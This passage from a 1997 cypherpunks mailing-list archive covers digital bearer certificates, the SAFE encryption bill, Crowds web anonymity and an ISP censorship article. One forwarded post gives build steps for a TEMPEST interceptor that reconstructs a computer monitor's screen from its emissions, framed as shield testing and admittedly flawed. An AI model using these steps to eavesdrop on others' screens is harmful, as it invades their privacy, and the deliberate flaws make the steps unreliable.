digital bearer certificates issued the underwriter.

For instance, in the corporate bearer bond market, there were three people
involved in issuing the bond, besides the eventual purchaser of the bond.
There was the corporation, like IBM, or GE, or US Steel, say, which was
issuing the bond. There was the underwriter, an investment bank, in other
words, who sold the bond into the primary market, usually to brokers who in
turn sold them to their clients. There was the trustee, a bank who actually
handled the cash payments from the issuing corporation to the holders of
the bond, and technically worked on behalf of the bond holders. On the day
the interest was payable, the corporation cut a check to the trustee, who
in turn cut checks to people who mailed in the little coupons they clipped
off the bond every quarter.

In the case of a book-entry trustee, the underwriter markets digital bearer
certificates, cash in this case, to the public, in exchange for a book
entry asset, money transferred through the ATM/Swift system to the
underwriter's collateral account at the trustee bank. The money sits at the
trustee bank until someone takes that money off the net by exchanging a
digital bearer certificate for an ATM deposit transaction to the redeemer's
bank.

Now, sometime in the future, when there are other assets in bearer form on
the net besides cash, like digital bearer bonds, or digital bearer stock,
or commodities contracts, or derivatives thereof, it's easy to see how you
could create a trustee which holds *those* kinds of assets instead of
deposits on account somewhere in meatspace. In fact, I claim, because
identity and reputation are orthogonal in cypherspace, that such a trustee,
and thus, every party in the underwriting process, including the
underwriter, *and* the development of any future bearer certificate
cryptographic protocol, can be *anonymous*, that is, identity-free. Though,
of course, they'd all have to use perfect pseudonyms.

> Who issues the bearer certificates?

The underwriter.

> What does possesion of the bearer
> certificate represent in terms of ownership of assetts?

The face value of the digital bearer certificate. For example, with a
traveller's check, you buy at a premium, so that the person you give the
check to can redeem them at face value, or "par", in bond language. Yes,
unless the agreement between you and the issuer, as enforced by the
trustee, specifies that the certificate must be backed up one for one by
the assets in the reserve account, held by the trustee bank, then the
issuer has the right to take some of that money and invest it in something
else, and not just take the interest it accrues while it sits in the
trustee's account. For the most part, the particulars about what that money
is used for will be subject to market constraints. For instance, if money
goes onto the net and stays there and never leaves, then, in an effort to
compete, an issuer might offer lower issuing fees, even discounting the
price of the certificates at issue, because he's going to make it up
eventually, in the interest and other returns he gets for investing some or
all of that money. However, all that's probably too messy to mess around
with here. If you're interested, ( a little bond humor, there), go dig up a
book on corporate finance (Brealy and Meyers was a good one, once), or
fixed income mathematics (Fabbozzi's was the best, last time I looked).

> Actually it's micromint which has the threshold function feature
> through use of k-way hashes, my hash cash is quite simple, and
> probably impractical to use as a basis for a currency you wished to
> connect to a real currency.  There is a cost of printing hashcash
> coins, which can be made high (say a weeks CPU for a P100), but
> basically anyone can mint all the money they have CPU power for.  This
> is interesting for throttling systematic abuse of limited net
> resources, and combining with a digicash system you could have
> transferability as well as anonymity.  However the stability of the
> money supply is probably not up to it.  It's kind of like allowing
> anyone to print money, but making it cost them in time only; the
> resources they already have.

It's exactly like that, and that's why I find the idea so attractive. :-).

> You think you can create a digital bearer certificate market on the
> back of your architecture of issuers, and trustees.  I don't see a
> great difference between this and a traditional bank.

That's the point. Reality, financial or otherwise, is not optional. :-).

> How is it going
> to reduce the per transaction overhead, and how is it in any way
> distributed.  (I presume your term "geodisic" refers to a distributed
> value transfer system).

The geodesity happens on the other side of the trustee. On the net itself.
Once you get the money on the net, you can do all *kinds* of fun things
there with it, and, eventually, it'll never have to leave, because, I
claim, all financial assets, (stocks, bonds, notes, commodities contracts,
derivatives) will be held in digital bearer form someday. It'll be too
cheap not to.

<beating-a-metaphor-like-a-dead-horse-mode>

What we're doing at first is creating financial pond skimmers, net-based
entities, in the same way that pond skimmers are air-based entities, who
use financial cryptography and digital bearer certificates as proto-wings
to aerodynamically flit around on the surface tension of the existing
hierarchical book-entry finance system. Waterborne predators, like FinCEN,
can't catch them, and the predators don't care, really.  Because, sooner or
later, these pond skimmers will have to breed (take the money off the net),
which means laying eggs in the water, and, of course, that's where the
larval pond skimmers live. :-).

Of course, evolution on the net is much faster than real life. So, someday,
soon,  those financial cryptography pond skimmers will have wings and not
rely on surface tension (book-entries) at all, and, someday after that,
they won't even need water(meatspace) to hatch into. By that time,
obviously, there'll be a whole *new* class of predators to worry about, but
they haven't even been invented yet.

</dead-horse>


> What is an ACH transaction?  A electronic bank clearing protocol?
> FSTC is Financial Securities Trading... electronic checks?

ACH: Automated Clearinghouse. FSTC: Financial Services Technology Consortium.


> Isn't this going to be just another electronic check, with full
> transaction log, and associated overhead, banking regulations giving
> banks enough effective monopoly to charge high handling fees?

Yup. But the neat thing about them is they take pennies to clear, instead
of quarters for paper checks. The other thing is, they're peer-to-peer.
Credit cards aren't, remember? When was the last time you sold a car or
house and took MasterCard in payment. :-).

> I don't
> find electronic checks that interesting.

Yeah. You're a "wings" person. So am I, obviously. However, I think of FSTC
(or any other) electronic checks, or Cybercash/coin, or even FV, and
barely, SSL/SET, as "legs" which are just long enough to let the surface
tension of the banking system hold us up, so we can do transactions in
cypherspace.

> What we want is fully anonymous, ultra low transaction cost,
> transferable units of exchange.

Amen.

> If we get that going (and obviously
> there are some people trying DigiCash, and a couple of others), the
> banks will become the obsolete dinasaurs they deserve to become.

Wellll... Depends on what you call a "bank" I suppose. I would claim that,
more than anything else, a trustee in my model is a bank, whether its
assets are digital bearer or not. I won't quibble with you about it,
though. A bank is a type of financial intermediary. Someone who risks
reputation in return for interest, or other profit of somekind. You can't
have finance, and thus trade and economics, without financial
intermediaries. Might as well call some kinds of them "banks", whether they
live on the net or not.

> I
> think this would be a good outcome, and I'd rather see this happen
> than see anyone go to any great effort to get the banks involved.  Let
> them stick to electronic "cash" systems (what a misuse of the word)
> based on credit cards and checks.  See how that survives against
> _real_ distributed electronic cash with transaction costs 10 to 100
> times lower, with 0 red tape barriers to entry for both sellers and
> buyers.

Well, the consequence of book-entry transactions, of course, is the
interference of the nation-state, because that's your anti-repudiation
mechanism. Book-entry banks need nation-states, or force monopolies of
somekind, to exist. However, the net represents a whole new financial
biome, if you will. A biome where book-entries, like fins, are too slow to
fly with. :-).

> The net is becoming more and more important as an mechanism for
> information exchange in it's own right.  This is why I think just
> cutting the ties with the physical world and having a payment system
> working now would be interesting.

Certainly the sooner the better. However, you still have to get those
assets on the net in negotiable form. That's why you need to use good old
fashioned book-entry banks to make your assets negotiable. It's like
punching paper numbers into a spreadsheet when you can download a file from
the mainframe. Yes. Mainframes sucked. But that's where the data was.

> Deployment wins and all that.
> Hashcash is completely distributed; there is NO bank.  You can not
> forge hash cash, you can not double spend hash cash.  You can print as
> much hashcash as you have CPU time for.  You can resell hashcash for
> real money on an unoffical exchange, or trade hashcash for different
> services.

Way cool. So, how, if you're going to issue hashcash denominated in
dollars, are you going to convert them into actual dollars? Are you going
to put up a physical deposit window and take in bills somewhere? :-).
Wouldn't it be nice for someone to swipe their ATM card into a reader on
their machine using your web page, and get hashcash?

To do that, you need a trustee bank.

> I don't see any particular inherent reason why an electronic payment
> protocol can't be designed which requires no trust of the bank; at
> least it should be possible to arrange it so that the bank minting
> funds for it's own use will be detected.  All you need is that the
> protocol is publically verifiable.  Digicash already prevents double
> spending through the database of protocoins.

You might not have to trust the bank. But you do have to trust a financial
intermediary of some kind. In finance, more often than not, that entity is
called a "bank", for lack of a better term.

Again. You can't have finance, and thus trade and economics, without
reputation. Trust, in other words.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jonah Seiger <jseiger@cdt.org>
Date: Sat, 3 May 1997 01:31:35 +0800
To: cypherpunks@cyberpass.net
Subject: High Ranking Reprsentative pulls support of SAFE...
Message-ID: <v03020911af8fcf53cb16@[207.226.3.4]>
MIME-Version: 1.0
Content-Type: text/plain


Looks like the FBI and thier allies have been playing hardball, and have
managed to convince a high-ranking Republican member of Congress to buy
into their ani-cryto reform arguments.

Solomon is the Chairman of the House Rules Committee.

This fight just got a lot tougher.

Jonah

----
                             May 1, 1997

		      OPPOSE HR. 695 "SAFE ACT"


Dear Colleague:

Earlier this week, after meeting with officials from Defense and FBI, I
removed myself as a cosponsor of HR 695.  Allow me to explain some of their
concerns about this bill.

The Department of Defense believes that HR 695 would increase the export
threshold for encryption software to a level which would effectively remove
existing controls.  This would make unbreakable encryption technology
widely available and "have a negative impact on national security,
effective law enforcement and public safety".  The FBI opposes the bill
because, "It would be irresponsible for the U.S. to adopt a policy that
consciously unleashes widespread, unbreakable, non-key recovery encryption
products that undermine law enforcement in the United States and worldwide."

I also met with Ambassador Aaron (OECD), who pointed out that many of the
major industrial countries have already approved encryption safeguards and
the rest are waiting for the United States to act.  He believes HR 695
would send the worst possible signal to our allies.

Lastly, Assistant Attorney General Andrew Fois stated in a letter to
Chairman Coble, "... the bill would severely compromise law enforcement's
ability to protect the American people from the threats posed by
terrorists, organized crime, child pornographers, drug cartels, financial
predators, hostile foreign intelligence agents, and other criminals... It
is difficult enough to fight crime without making criminals' tasks any
easier."

In addition to the FBI and DOD the legislation is opposed by the Justice
Department, Central Intelligence,. the NSA, the National District
Attorney's Association, the International Association of Chiefs of Police
and the National Sherrif's Association.  Again, I would ask you to oppose
HR 695.

                                   Sincerely,

                                   [signed]

			           GERALD B. SOLOMON
                                   Member of Congress.




* Value Your Privacy? The Governmet Doesn't.  Say 'No' to Key Escrow! *
            Adopt Your Legislator -  http://www.crytpo.com/adopt

--
Jonah Seiger, Communications Director              (v) +1.202.637.9800
Center for Democracy and Technology              pager +1.202.859.2151
<jseiger@cdt.org>
                                                    PGP Key via finger
http://www.cdt.org
http://www.cdt.org/homes/jseiger










From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Sat, 3 May 1997 06:19:36 +0800
To: cypherpunks@cyberpass.net
Subject: Re: A new system for anonymity on the web
Message-ID: <199705022121.OAA01551@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


Adam Back, <aba@dcs.ex.ac.uk>, writes:
> Hal Finney <hal@rain.org> writes:
> > Theoretically, at least for long downloads, passing through multiple
> > slow links shouldn't slow down the transmission, 
>
> I'm not sure that this is so.
> [...]
> When Alice and Bob are online, consider that they are actually using
> their bandwidth most of the time.  I know I do; if I'm not using it I
> hang up, with pay per second phone lines, you're likely to.

Actually here in the U.S. most people have access to unmetered Internet
access these days.  Local and national ISP's are almost always that way,
and AOL offers that option now as well.  I find that I tend to browse in
"flurries", paging around a bit, then settling down to read for a while.

But you're right, I did not consider the interference among multiple
paths running through a jondo.  That issue applies to the higher speed
links as well.  If average path length is n, then on average there
will be about n paths going through each jondo (assuming all "home"
jondos have set up paths).  So the question will be whether the average
person uses more than 1/n of the bandwidth available during the time he
is connected.  This will no doubt depend on the pricing model for Internet
service, as you suggest.

> > just increase the latency.  I don't have a very clear picture about
> > how long it would take to snake in and out of a bunch of people's
> > modem lines en route to the web server.
>
> I'm sure it's going to increase the latency too.  My ping times are
> 200ms from the PPP link alone (ie pinging the PPP server machine
> itself).  Add to this that the members of the jondo / crowds pool may
> not be on the same ISP, and you've got the additional overheads of
> whatever latency is added by the cumulative latency between each of
> the hops in the chain.

Yes, latency would be cumulative, and I just tested mine and found it
was 160-220 ms, about the same as what you saw.  So running through say
5 jondos at the end of modem paths would add about a second of latency.
I think this would be fine if it only happened once per web page, but
almost intolerable if it was once per tiny picture.

> I wonder if you could improve the security of this by trading off
> against some additional bandwidth consumption for the ISP.  Say have
> split the jondo in half, with two cooperating half-Jondos acting as a
> single virtual jondo in such a way that someone with root access on
> one machine but not the other, can't extract any useful information by
> spying on that half of the jondo.

This is an intriguing idea.  Secure multiparty calculation protocols allow
calculations to be made such that neither machine would have access to
all the data.  It is an interesting question how this could be applied
to the anonymous communication problem.

In this specific case, if the Crowds system were enhanced so that
end-to-end encryption was used (which seems very practical and useful),
you could run a jondo on your PC whose only function was to link to
the jondo on the ISP and then set up the additional path through the
jondo net.  The path between your local PC jondo and the end one in the
path would be encrypted, so even root on the local ISP could not see the
contents of what you send down the jondo path.  He might still be able
to see when you were sending and when not, but he couldn't tell where
it was going.

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Hal Finney <hal@rain.org>
Date: Sat, 3 May 1997 06:16:02 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Bypassing the Digicash Patents
Message-ID: <199705022130.OAA01562@crypt.hfinney.com>
MIME-Version: 1.0
Content-Type: text/plain


Robert Hettinga, <rah@shipwright.com>, writes:
> Again, it's using the right business model, and not necessarily
> cryptography, which makes a market happen. Blind signatures and hash
> collisions are necessary, but not sufficient, for the market to exist.

Bob, if I understand you correctly, you've suggested that digital
bearer instruments will in the long run actually be more efficient than
conventional book entry based transaction models.  Anonymity will be
cheaper than identified transactions.

But, if digital bearer certificates of all kinds are, as you suggest,
cheaper and more efficient than conventional ones, why can't we just
use ordinary non-blinded digital instruments and ignore the identifying
information?

For example, XYZ Co. could issue a signed note saying "Serial number
12345, worth 100 shares of XYZ Co.".  A bank could issue a signed note
saying "Serial number 54321, worth $100 at DigiBank".  These can be done
with ordinary digital signatures.  No blinding or patent issues arise
(by the end of this year, when the patents expire!).

These are not blinded, so they are in principle traceable.  They have to
have unique serial numbers to solve the double spending problem, and those
could be used to track them.

This makes them less attractive from the privacy perspective, but what
about from the point of view of the financial markets?  Can they just
ignore the serial numbers and treat them as the bearer certificates you
have been talking about?  (Don't real bearer certificates often have
serial numbers on them?)

Maybe this geodesic market you're talking about (which I don't understand
at all) could work with current technology?

Hal





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ray Arachelian <sunder@brainlink.com>
Date: Sat, 3 May 1997 03:15:45 +0800
To: cypherpunks@toad.com
Subject: Building a Tempest Interceptor (fwd)
Message-ID: <Pine.SUN.3.91.970502144943.29363F-100000@beast.brainlink.com>
MIME-Version: 1.0
Content-Type: text/plain


This was on the Surveillance List...


by Frank Jones
aka SpyKing@thecodex.com
http://www.thecodex.com
Copyright 1997

The is very little public knowledge about TEMPEST. Most infomation, including how to safeguard against monitoring, has been classified by the government.  You can view an article I wrote on TEMPEST at: http://www.thecodex.com/c_tempest.html and another at: http://www.thecodex.com/rise.html

In order to protect computers and CRT's from electromagnetic emission monitoring (interception, recontruction and viewing) it is necessary to use shielding. This shielding is available in several forms but that is another article... 

Once the shielding is installed, how do you test it for leakage? It is necessary to see if you can monitor the device yourself.  Since TEMPEST monitoring equipment is normally very expensive and hard to come by, here 
is a simple way to construct a "simple" monitoring device that will help 
you detemine if your computer can be "snooped" on by outside sources... 
this device was designed for "defensive" purposes and should NOT be used offensively... it does not have the distance capability of my DataScan 
device but it WILL work as a laboratory benchtop demo device...

Like Van Eck and Moller, I have deliberately flawed the article for the technically challenged... After all, we don't want everyone to have one 
of these, do we?

TEMPEST Interceptor - Follow my instructions...

You need to learn something about electronics to make this happen. 
The first lesson will be to construct a sync generator to drive the 
computer monitor without any signal or video. 

To start this you must take your spectrum analyzer, turn off every appliance 
in the area. Put the analyzer near the computer monitor, turn on the monitor but NOT the computer. Start searching around 15Khz. You should get a strong signal somewhere between 14Khz & 17Khz. Log that frequency. Next try looking around 30Hz to 60Hz. Which is stronger 30 or 60?  Log that. 

Next we're gonna build a "computer sync generator"  (video gear will not work). Most technician's who have tried to build a TEMPEST interceptor have been trying to use "off-the-shelf" products. Don't believe what you read or hear, they won't work. You've got to build a computer sync generator. 

It isn't really so hard to do. Get yourself a copy of the "CMOS Cookbook". 
It's around.  In there it shows how to build a 555 timer. It is a small and simple circut. Maybe 5 components. The 555 has in it all the clock and electronics to make a timer from 1Hz to 10Mhz. Follow the instructions and 
make a variable timer (it is really simple).  Make the first one run at the exact frequency of the monitor, say 16 Khz. Next make a seperate one at the second frequency say 30 Hz. Then tie them together with a .o1 Mfd cap. The output should drive your monitor (generator is done).

Two minor things I forgot to mention. The output of the 555 is about 5 to 
12 volts. You will need to attenuate it to about .3 volts. Several resistors will do.

The other thing is that you need a negative pulse out of the 555. The normal output of a 555 is a square wave. On and off . You must vary the duty cycle 
to create a square wave which is most of the time on and the sync duration off.  

You now need a seperate dedicated computer monitor. Open the input plug and find the shielded cable inside. Attach the output of your circut to the 
center-conductor and the battery minus from your circut to the shield. You 
have a solid black screen on the monitor. Turn up the brightness. There should be no rolling and weaving. If so... adjust the pot in YOUR CIRCUIT not the monitor, to stop it.  

Next step. Collect the signal you hear and see on your anaylzer/receiver. 
Take the output of your reciever tuned to those frequencies. Connect the 
output through a .01 mfd cap to the output of the sync generator and "viola" you should start to see the monitors radiated signal on your monitor. 
Shielding your viewing monitor from the recieving monitor and small 
adjustments in your generator frequency should do it. In fact no 
adjustments should still do it. 

The antenna that you use is critical. 
Make sure you use the right one...  ;-)


**************************************************************************
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**************************************************************************
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In the subject field type: subscribe-surveillance list e-mail address
**************************************************************************





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 3 May 1997 06:37:49 +0800
To: cypherpunks@toad.com
Subject: Re: A Letter from the Smithsonian
In-Reply-To: <199705021552.IAA02491@fat.doobie.com>
Message-ID: <0yB46D2w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


nobody@huge.cajones.com (Huge Cajones Remailer) writes:

> Dear Dr. Dimitri Vulis, 
Thanks - I'm laughing my head off.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 3 May 1997 06:50:14 +0800
To: cypherpunks@toad.com
Subject: Re: Booby traps, but no anarchist writings
In-Reply-To: <Pine.BSI.3.92.970502122952.3001A-100000@conch.msen.com>
Message-ID: <N2B46D3w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


Lou Poppler <lwp@mail.msen.com> writes:

> >From today's NYT
> http://www.nytimes.com/yr/mo/day/news/national/ny-explosives.html
> 
>           [N] EW YORK -- A Bronx man who booby-trapped his
>               apartment with homemade bombs accidentally blew his
>           left hand off Thursday morning, the police said,
> [snip]
>           Just what Saperstein -- who has a criminal record dating
>           back to 1983 for weapons possession, disorderly conduct
>           and drug possession -- was doing with all the explosives
>           puzzled investigators.
> 
>           "There's no indication he was involved in any group,"
>           said a police investigator, who spoke on the condition
>           of anonymity. "There were no rantings or anarchist
>           writings of any kind."
> [snip]
> [end of quoted material]
> 
> Good thing this guy didn't have a folder of old cypherpunks messages on a
> hard drive!  Then he'd *really* be in trouble I guess.

They don't mention whether he learned how to make bombs on the Internet,
which means they haven't ruled out this possibility either.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: SafePassage Sales <safepassage-sales@c2.net>
Date: Sat, 3 May 1997 06:55:47 +0800
To: cypherpunks@toad.com
Subject: SafePassage Web Proxy follow-up
Message-ID: <199705022240.PAA25347@gabber.c2.net>
MIME-Version: 1.0
Content-Type: text/plain


Dear SafePassage Evaluator:

It's been a while since you downloaded the evaluation version
of SafePassage, and we just wanted to check in to see how things were
going. 

If you have problems installing SafePassage, using SafePassage with your
current browser, or any other questions about our SafePassage product line,
please email:

    safepassage-sales@c2.net or safepassage@ukweb.com

If applicable, please include some recent samples of your log files, and
detailed information on your platform and the version of SafePassage you're
using.

If you have sales or ordering questions, please feel free to give
us a call at 510 986 8770. Our hours are 10 am to 6 pm, Pacific
Daylight Time. You can also contact UKWeb, our European partner and master
distributor, at +44 113 222 0046.

-- Join our Early Adopter Program: For the following applications, we are
offering a flat-fee license of $45,000 per year, provided payment is received
by May 15, 1997:

(a) Banks, for distribution to their customers.
(b) Internet Service Providers, for distribution to their customers.
(c) Companies, for internal use.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sat, 3 May 1997 04:16:13 +0800
To: cypherpunks@cyberpass.net
Subject: Re: SAFE Bill discussion
In-Reply-To: <v03007838af8f63b734a5@[166.84.253.73]>
Message-ID: <v03020938af8ff4f454a3@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain


It dawns on me the the use of "Center", and "Democracy", in the same breath
is either redundant or an oxymoron (depending upon your politics :-)) and,
when used to in reference to "Technology", they *really* don't make sense,
in much the same way that "<ethnic>/<gender> physics" is nonsense.

Write software, not laws.

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
Lesley Stahl: "You mean *anyone* can set up a web site and compete
               with the New York Times?"
Andrew Kantor: "Yes."  Stahl:  "Isn't that dangerous?"
The e$ Home Page: http://www.shipwright.com/







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cpunks@algebra.com
Date: Sat, 3 May 1997 07:12:49 +0800
To: cypherpunks@manifold.algebra.com
Subject: Artikel about XS4ALL in New York Times (fwd)
Message-ID: <199705022300.SAA07523@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


----- Forwarded message from tank -----

>From cpunks@manifold.algebra.com  Fri May  2 05:04:57 1997
From: tank <tank@xs4all.nl>
Message-Id: <199705020912.LAA11297@xs1.xs4all.nl>
Subject: Artikel about XS4ALL in New York Times
To: tank@xs4all.nl
Date: Fri, 2 May 1997 11:12:37 +0200 (MET DST)
X-Mailer: ELM [version 2.4 PL25]
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Sender: owner-cypherpunks@toad.com
Precedence: bulk



THE NEW YORK TIMES/CYBERTIMES
www.nytimes.com


April 29, 1997

By BRUNO GIUSSANI

For an ISP in the Netherlands, Controversy Is an Old Friend

AMSTERDAM -- April has meant business as usual at XS4ALL
(access-for-all), the third-largest Internet service provider in the
Netherlands.

The month started off with the XS4ALL Web site being out of reach for a
substantial portion of the European online population, and it is ending
with the provider's adding a notch to its track record as a champion of
freedom of speech.

On April 11 the Dutch Web site was blocked by the German academic
network, Deutsche Forschungsnetz (DFN), which serves about 400
universities and research organizations and provides Internet access to
a half million people. DFN acted under pressure from the Federal
Criminal Investigation Bureau pointing out the illegal -- in Germany,
though not in the Netherlands -- content of Radikal Magazine, which is
housed on the XS4ALL server.

Radikal, a left-wing underground magazine, advocates "militant and
armed interventions" to overthrow the government, and has published a
"Short guide to hindering railway transports of all kinds" -- a
handbook describing how to attack and damage tracks.

Since selectively barring single home pages is technically impossible,
the DNF action cut off all 6,000 pages on the XS4ALL servers, including
those of Serbian opposition radio station B-92 and several scientific
databases.

Thus, while blocking illegal material, the German network was also
hampering scientific work -- which DFN has been established to
nurture.  Not to mention that skilled Internet users could route around
the obstacle by using a remailing system or a proxy server located
abroad.  What's more, Radikal Magazine can be found on several dozen
"mirror sites" around the world.

Ten days later -- after being flooded by protests -- the German network
lifted the ban on XS4ALL. "An effective blockage of illegal information
has not been within the realms of possibility," Klaus-Eckart Maass, a
DFN spokesman, conceded in an interview with The Associated Press.

Now, this happened the very same week as the indictment of a German
manager of CompuServe, a leading international online service, for the
transmission of allegedly illegal materials over the Internet and as
the German Parliament opened discussions on a new multimedia law.

The new bill would place the responsibility for content on the supplier
of the data, thus Internet service providers would not be held liable
for illegal information that could pass over their wires unless they
have been alerted and "have the technical ability" to delete or block
it -- the very same scheme the German academic network found impossible
to enforce.

It was not the first time XS4ALL had been at the forefront of an
Internet skirmish.

Last September, most German ISPs blocked XS4ALL for a month after
complaints by a regional prosecutor about Radikal.  (In January Angela
Marquardt, a Bavarian socialist politician, was indicted for linking to
the banned magazine from her personal home page).

"After a couple of weeks, the censored information was mirrored on some
50 Web sites around the world and voluntarily removed by our user from
the XS4ALL server," the company's founder, Felipe Rodriquez, 28,
explained. "After the block had ended, our user put the documents back
on his page."

Along with German prosecutors, the Amsterdam-based provider has lined
up a fair list of other adversaries: the McDonald's fast-food chain,
the Serbian government and the Church of Scientology, just to name a
few.

XS4ALL's roots reach into the hacker movement. The venture started out
in 1993 "to give anyone the possibility to access the Internet." At
that time there were no commercial access providers in Holland. It has
grown into a respectable and very successful business in less than four
years, yet the principles on which it was created have not changed:
"Internet for the masses" is still its motto.  XS4ALL currently has 55
employees, boasts 21,000 subscribers and hosts some 6,000 home pages.

"A few years ago, we would have been portrayed as a band of dangerous
anarchists, bent on disrupting society," Rodriquez told the Dutch daily
Trouw. "But now they have come to see that we are nice and quiet people
really."

The company was instrumental in the creation of the Amsterdam Digital
City project, a community networking initiative backed by taxpayer's
money, and Rodriquez himself played a key role in setting up the Dutch
anti-child-pornography hotline, the first of its kind, last year.

"Before we started the hotline, Holland had a reputation of being a
kid-porn freehaven," he said in an interview last week. "We designed it
as a non-censoring form of self-regulation."

The hotline is run by Internet users and providers. Unlike Britain's
Internet Watch Foundation, the Dutch hotline doesn't censor any
information nor does it ask the provider to do so. Hotline operators
contact the author of the information and ask him to remove the
offending content.  "If the author does not comply, we report him to
the police, and he'll be prosecuted," said Rodriquez, who also is
chairman of the Dutch Providers Association.

"The Internet Watch Foundation forces the provider to remove the
illegal content," he added. "This is a fundamentally different approach
to responsibilities on the Internet. We think the author of the
information is responsible for his own actions, not the provider."

That's why XS4ALL didn't take any steps against the customer who posted
Radikal Magazine on its server. "Our policy is that as a provider we
are not in the position to judge whether this magazine is illegal in
the Netherlands, therefore we do not interfere with our users' freedom
of speech," Rodriquez stated.

"If there is any doubt about the legality of the publication in
Holland, a Dutch court of law would be the proper place to remove these
doubts," he added.

This was the case when, in September 1995, the Religious Technology
Center -- better known as the Church of Scientology -- filed for the
seizure of all the XS4ALL computer equipment "because one of our users
had put on his home page some information to which Scientology said it
owned the copyright."

The document -- the now famous "Fishman affidavit" -- is the actual
transcript of a testimony given by Steven Fishman in a Los Angeles
Court in which he accused the church of having forced him to act
illegally.

"We denied any responsibility for the content on our users' pages; they
decide for themselves what they will publish," Rodriquez recalled. "We
won the litigation." The user preferred to take down the controversial
document.

Yet when violation of the law is flagrant, XS4ALL doesn't hesitate to
comply, as it did a few weeks ago when it shut down a customer's home
page called Neuroroom, which sold marijuana and other soft drugs in
Holland and abroad.

The company's commitment to support free expression and democratization
of the Internet doesn't stop here. Last fall when the Serbian
government censored radio station B-92, XS4ALL helped design an
Internet campaign and started to carry news broadcasts (in RealAudio
format) that kept the rare opposition voice alive and the international
public informed through independent accounts of the events occurring
during the mass demonstrations in Belgrade.

"They gave us disk space, donated network traffic and helped in
training people," said Frank Tiggelaar, a Dutch activist for
democratization in former Yugoslavia.

"Basically any project we like gets free resources from XS4ALL,"
Rodriquez commented.

The campaign of Helen Steel and Dave Morris is among the projects
XS4ALL's old hackers do like. The two British environmentalists are the
main characters of a civil case that started in 1990 when the
McDonald's restaurant chain sued them for distributing flyers pointing
at what they called the company's economic and ecological "ravages."

The trial is not over yet -- but it has spawned a large Internet-based
support network and fed a huge anti-McDonald's Web site called
McSpotlight hosted, not surprisingly, by XS4ALL.

EUROBYTES is published weekly, on Tuesdays. Click here for a list of
links to other columns in the series.


Related Sites Following are links to the external Web sites mentioned
in this article. These sites are not part of The New York Times on the
Web, and The Times has no control over their content or availability.
When you have finished visiting any of these sites, you will be able to
return to this page by clicking on your Web browser's "Back" button or
icon until this page reappears.


Bruno Giussani at eurobytes@nytimes.com welcomes your comments and
suggestions.


		Copyright 1997 The New York Times Company


--
XS4ALL Internet BV - Felipe Rodriquez-Svensson - finger felipe@xs4all.nl for 
Managing Director  -                           - pub pgp-key 1024/A07C02F9 



----- End of forwarded message from tank -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Sat, 3 May 1997 09:19:13 +0800
To: Ernest Hua <hua@chromatic.com>
Subject: Re: FC: Responses to Tim May's criticism of SAFE, and a rebuttal
In-Reply-To: <199705021910.MAA07300@server1.chromatic.com>
Message-ID: <199705030048.TAA15456@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----


In <199705021910.MAA07300@server1.chromatic.com>, on 05/02/97 at 01:10 PM,
   Ernest Hua <hua@chromatic.com> said:


>And I don't understand why you did not respond to this point when I
>brought it up earlier.  This area is MOST CERTAINLY NOT free of
>legislation.  Have you tried to openly export a IDEA- or 3DES-based
>non-key-recovery (real commercial) product lately?  Have you set up an
>open, publically announced FTP site where anyone can freely fetch strong
>encryption sources?  If not, then explain why, if there is no legislation
>on this matter, couldn't you do it?

Well I can't speak for Tim's actions in this area but I can say that I have
made strong crypto available for download via the INet. And I ahev openly
announced that I have made such available on numerious newsgroups and
mailing lists.

http://www.amaranth.com/~whgiii/pgpmr2.html

There is no legislation on this matter only an unconstitutional presidental
order.

- -- 
- -----------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
                          
Finger whgiii@amaranth.com for PGP Key and other info
- -----------------------------------------------------------
 
Tag-O-Matic: I don't do Windows, but OS/2 does.

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2
Comment: Registered User E-Secure v1.1 ES000000

iQCVAwUBM2qav49Co1n+aLhhAQGAwwP+LFiVHklv2hrgHbXZN4UXfUBfoXmJmj03
8ysTTonDW/MSADkqZv4sJ1CwcHyqjkav03Q8BMHkmm+aU29pz9Tct45BXvPXaxL3
